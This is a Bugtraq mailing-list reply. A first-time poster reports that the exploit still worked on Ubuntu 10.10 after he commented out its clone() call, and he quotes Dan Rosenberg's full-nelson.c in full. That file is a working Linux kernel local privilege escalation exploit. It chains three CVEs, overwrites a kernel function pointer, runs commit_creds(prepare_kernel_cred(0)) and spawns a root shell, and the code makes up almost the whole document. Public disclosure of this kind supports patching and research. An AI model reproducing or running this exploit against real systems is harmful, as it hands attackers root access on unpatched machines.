Well, I'm a first time writer to Bugtraq, but this is interesting. I
commented out the call to clone(), and after it simply called
trigger(fildes), and apparently, it works. Only tested on a stock
install of Ubuntu 10.10, but I thought the bug was in clone()?
On 12/7/2010 2:25 PM, Dan Rosenberg wrote:
> Hi all,
>
> I've included here a proof-of-concept local privilege escalation exploit
> for Linux. Please read the header for an explanation of what's going
> on. Without further ado, I present full-nelson.c:
>
> Happy hacking,
> Dan
>
>
> --snip--
>
> /*
> * Linux Kernel <= 2.6.37 local privilege escalation
> * by Dan Rosenberg
> * @djrbliss on twitter
> *
> * Usage:
> * gcc full-nelson.c -o full-nelson
> * ./full-nelson
> *
> * This exploit leverages three vulnerabilities to get root, all of which were
> * discovered by Nelson Elhage:
> *
> * CVE-2010-4258
> * -------------
> * This is the interesting one, and the reason I wrote this exploit. If a
> * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
> * word will be written to a user-specified pointer when that thread exits.
> * This write is done using put_user(), which ensures the provided destination
> * resides in valid userspace by invoking access_ok(). However, Nelson
> * discovered that when the kernel performs an address limit override via
> * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
> * etc.), this override is not reverted before calling put_user() in the exit
> * path, allowing a user to write a NULL word to an arbitrary kernel address.
> * Note that this issue requires an additional vulnerability to trigger.
> *
> * CVE-2010-3849
> * -------------
> * This is a NULL pointer dereference in the Econet protocol. By itself, it's
> * fairly benign as a local denial-of-service. It's a perfect candidate to
> * trigger the above issue, since it's reachable via sock_no_sendpage(), which
> * subsequently calls sendmsg under KERNEL_DS.
> *
> * CVE-2010-3850
> * -------------
> * I wouldn't be able to reach the NULL pointer dereference and trigger the
> * OOPS if users weren't able to assign Econet addresses to arbitrary
> * interfaces due to a missing capabilities check.
> *
> * In the interest of public safety, this exploit was specifically designed to
> * be limited:
> *
> * * The particular symbols I resolve are not exported on Slackware or Debian
> * * Red Hat does not support Econet by default
> * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
> * Debian
> *
> * However, the important issue, CVE-2010-4258, affects everyone, and it would
> * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
> * more sophisticated version of this that doesn't have the roadblocks I put in
> * to prevent abuse by script kiddies.
> *
> * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
> *
> * NOTE: the exploit process will deadlock and stay in a zombie state after you
> * exit your root shell because the Econet thread OOPSes while holding the
> * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
> *
> * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
> */
>
> #include <stdio.h>
> #include <sys/socket.h>
> #include <fcntl.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <net/if.h>
> #include <sched.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <sys/utsname.h>
> #include <sys/mman.h>
> #include <unistd.h>
>
> /* How many bytes should we clear in our
> * function pointer to put it into userspace? */
> #ifdef __x86_64__
> #define SHIFT 24
> #define OFFSET 3
> #else
> #define SHIFT 8
> #define OFFSET 1
> #endif
>
> /* thanks spender... */
> unsigned long get_kernel_sym(char *name)
> {
> FILE *f;
> unsigned long addr;
> char dummy;
> char sname[512];
> struct utsname ver;
> int ret;
> int rep = 0;
> int oldstyle = 0;
>
> f = fopen("/proc/kallsyms", "r");
> if (f == NULL) {
> f = fopen("/proc/ksyms", "r");
> if (f == NULL)
> goto fallback;
> oldstyle = 1;
> }
>
> repeat:
> ret = 0;
> while(ret != EOF) {
> if (!oldstyle)
> ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
> else {
> ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
> if (ret == 2) {
> char *p;
> if (strstr(sname, "_O/") || strstr(sname, "_S."))
> continue;
> p = strrchr(sname, '_');
> if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
> p = p - 4;
> while (p > (char *)sname && *(p - 1) == '_')
> p--;
> *p = '\0';
> }
> }
> }
> if (ret == 0) {
> fscanf(f, "%s\n", sname);
> continue;
> }
> if (!strcmp(name, sname)) {
> fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
> fclose(f);
> return addr;
> }
> }
>
> fclose(f);
> if (rep)
> return 0;
> fallback:
> uname(&ver);
> if (strncmp(ver.release, "2.6", 3))
> oldstyle = 1;
> sprintf(sname, "/boot/System.map-%s", ver.release);
> f = fopen(sname, "r");
> if (f == NULL)
> return 0;
> rep = 1;
> goto repeat;
> }
>
> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
> typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
> _commit_creds commit_creds;
> _prepare_kernel_cred prepare_kernel_cred;
>
> static int __attribute__((regparm(3)))
> getroot(void * file, void * vma)
> {
>
> commit_creds(prepare_kernel_cred(0));
> return -1;
>
> }
>
> /* Why do I do this? Because on x86-64, the address of
> * commit_creds and prepare_kernel_cred are loaded relative
> * to rip, which means I can't just copy the above payload
> * into my landing area. */
> void __attribute__((regparm(3)))
> trampoline()
> {
>
> #ifdef __x86_64__
> asm("mov $getroot, %rax; call *%rax;");
> #else
> asm("mov $getroot, %eax; call *%eax;");
> #endif
>
> }
>
> /* Triggers a NULL pointer dereference in econet_sendmsg
> * via sock_no_sendpage, so it's under KERNEL_DS */
> int trigger(int * fildes)
> {
> int ret;
> struct ifreq ifr;
>
> memset(&ifr, 0, sizeof(ifr));
> strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
>
> ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
>
> if(ret < 0) {
> printf("[*] Failed to set Econet address.\n");
> return -1;
> }
>
> splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
> splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
>
> /* Shouldn't get here... */
> exit(0);
> }
>
> int main(int argc, char * argv[])
> {
> unsigned long econet_ops, econet_ioctl, target, landing;
> int fildes[4], pid;
> void * newstack, * payload;
>
> /* Create file descriptors now so there are two
> references to them after cloning...otherwise
> the child will never return because it
> deadlocks when trying to unlock various
> mutexes after OOPSing */
> pipe(fildes);
> fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
> fildes[3] = open("/dev/zero", O_RDONLY);
>
> if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
> printf("[*] Failed to open file descriptors.\n");
> return -1;
> }
>
> /* Resolve addresses of relevant symbols */
> printf("[*] Resolving kernel addresses...\n");
> econet_ioctl = get_kernel_sym("econet_ioctl");
> econet_ops = get_kernel_sym("econet_ops");
> commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
> prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
>
> if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
> printf("[*] Failed to resolve kernel symbols.\n");
> return -1;
> }
>
> if(!(newstack = malloc(65536))) {
> printf("[*] Failed to allocate memory.\n");
> return -1;
> }
>
> printf("[*] Calculating target...\n");
> target = econet_ops + 10 * sizeof(void *) - OFFSET;
>
> /* Clear the higher bits */
> landing = econet_ioctl << SHIFT >> SHIFT;
>
> payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
> PROT_READ | PROT_WRITE | PROT_EXEC,
> MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
>
> if ((long)payload == -1) {
> printf("[*] Failed to mmap() at target address.\n");
> return -1;
> }
>
> memcpy((void *)landing, &trampoline, 1024);
>
> clone((int (*)(void *))trigger,
> (void *)((unsigned long)newstack + 65536),
> CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
> &fildes, NULL, NULL, target);
>
> sleep(1);
>
> printf("[*] Triggering payload...\n");
> ioctl(fildes[2], 0, NULL);
>
> if(getuid()) {
> printf("[*] Exploit failed to get root.\n");
> return -1;
> }
>
> printf("[*] Got root!\n");
> execl("/bin/sh", "/bin/sh", NULL);
> }
>
>
>
>
